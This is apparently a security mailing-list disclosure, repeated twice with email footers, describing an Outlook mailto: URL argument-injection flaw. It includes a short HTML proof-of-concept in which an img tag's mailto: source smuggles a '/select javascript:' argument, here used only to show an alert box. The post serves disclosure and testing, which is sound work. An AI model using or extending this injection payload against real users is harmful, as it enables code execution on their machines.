If you'd rather not visit an unverified link, here's
the code:
###outlooksploit.html
<!-- Outlook mailto: URL argument injection
proof-of-concept exploit,
by shaun2k2. The exploit can be easily modified
to execute more
malicious things.
-->
<html>
<body>
<!-- This is the exploit string. -->
<img src="mailto:aa" /select
javascript:alert('vulnerable')">
</body>
</html>
###EOF
If you're vulnerable, Outlook will launch and you will
see an alert box saying "vulnerable". Also, depending
on what version you are using, you might get an error
box saying outlook cannot load and that the command
line argument was not valid. Either way, you are
still vulnerable, I believe. I recommend you upgrade
:).
Obviously, the exploit could be easily modified to do
more malicious things, but this at least demonstrates
the issue.
Thank you for your time.
Shaun.
___________________________________________________________
Yahoo! Messenger - Communicate instantly..."Ping"
your friends today! Download Messenger Now
http://uk.messenger.yahoo.com/download/index.html
For those interested in testing the impact of this
vulnerability, I have written a simple, non-malicious
PoC for this issue:
http://www.nettwerked.co.uk/code/outlooksploit.html
If you'd rather not visit an unverified link, here's
the code:
###outlooksploit.html
<!-- Outlook mailto: URL argument injection
proof-of-concept exploit,
by shaun2k2. The exploit can be easily modified
to execute more
malicious things.
-->
<html>
<body>
<!-- This is the exploit string. -->
<img src="mailto:aa" /select
javascript:alert('vulnerable')">
</body>
</html>
###EOF
If you're vulnerable, Outlook will launch and you will
see an alert box saying "vulnerable". Also, depending
on what version you are using, you might get an error
box saying outlook cannot load and that the command
line argument was not valid. Either way, you are
still vulnerable, I believe. I recommend you upgrade
:).
Obviously, the exploit could be easily modified to do
more malicious things, but this at least demonstrates
the issue.
Thank you for your time.
Shaun.
___________________________________________________________
Yahoo! Messenger - Communicate instantly..."Ping"
your friends today! Download Messenger Now
http://uk.messenger.yahoo.com/download/index.html
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